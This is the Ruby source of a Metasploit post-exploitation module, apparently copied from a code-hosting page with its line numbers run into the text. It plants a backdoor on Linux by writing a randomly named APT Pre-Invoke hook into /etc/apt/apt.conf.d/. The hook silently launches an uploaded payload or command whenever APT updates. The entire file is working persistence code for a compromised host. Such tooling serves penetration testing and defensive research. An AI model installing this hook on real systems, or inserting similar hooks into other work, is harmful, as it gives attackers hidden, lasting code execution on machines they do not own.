Path: blob/master/modules/exploits/linux/persistence/apt_package_manager.rb
31484 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Msf::Post::File11include Msf::Post::Linux::System12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/apt_package_manager_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'APT Package Manager Persistence',22'Description' => %q{23This module will run a payload when the APT package manager is used.24This module creates a pre-invoke hook for APT in apt.conf.d. Write access25to the apt.conf.d directory is required, typically requiring root access.26The hook name is randomized if not specified.27Verified on Ubuntu 22.0428},29'License' => MSF_LICENSE,30'Author' => ['Aaron Ringo'],31'Platform' => ['linux', 'unix'],32'Arch' => [33ARCH_CMD,34ARCH_X86,35ARCH_X64,36ARCH_ARMLE,37ARCH_AARCH64,38ARCH_PPC,39ARCH_MIPSLE,40ARCH_MIPSBE41],42'SessionTypes' => ['shell', 'meterpreter'],43'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian44'References' => [45['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],46['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],47],48'Targets' => [['Automatic', {}]],49'Privileged' => true,50'DefaultTarget' => 0,51'Notes' => {52'Stability' => [CRASH_SAFE],53'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],54'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]55}56)57)5859register_options(60[61OptString.new('HOOKNAME', [false, 'Name of hook file to write']),62OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write']),63OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/'])64]65)66end6768def check69return CheckCode::Safe('apt-get not found, likely not an apt based system') unless command_exists?('apt-get')70return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])71return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH'])7273print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')74return CheckCode::Safe("#{writable_dir} not found") unless exists?(writable_dir)75return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)7677CheckCode::Appears("#{datastore['HOOKPATH']} and #{writable_dir} are writable, also found apt-get.")78end7980def install_persistence81fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH'])82hook_path = datastore['HOOKPATH']83hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")8485if payload.arch.first == 'cmd'86hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)87else88payload_path = writable_dir89payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"90payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)91payload_path << payload_name92write_file(payload_path, generate_payload_exe)93fail_with Failure::Unknown, "Failed to write #{payload_path}" unless exist?(payload_path)94print_status("Backdoor uploaded #{payload_path}")95# permissions chosen to reflect common perms in /usr/local/bin/96chmod(payload_path, 0o755)9798print_status('Attempting to write hook')99hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload_path} 2>/dev/null &"};)100@clean_up_rc << "rm #{payload_path}\n"101end102write_file(datastore['HOOKPATH'], hook_script)103104fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH'])105106print_status("Wrote #{datastore['HOOKPATH']}")107108print_good('Backdoor will run on next APT update')109110@clean_up_rc << "rm #{datastore['HOOKPATH']}\n"111end112end113114115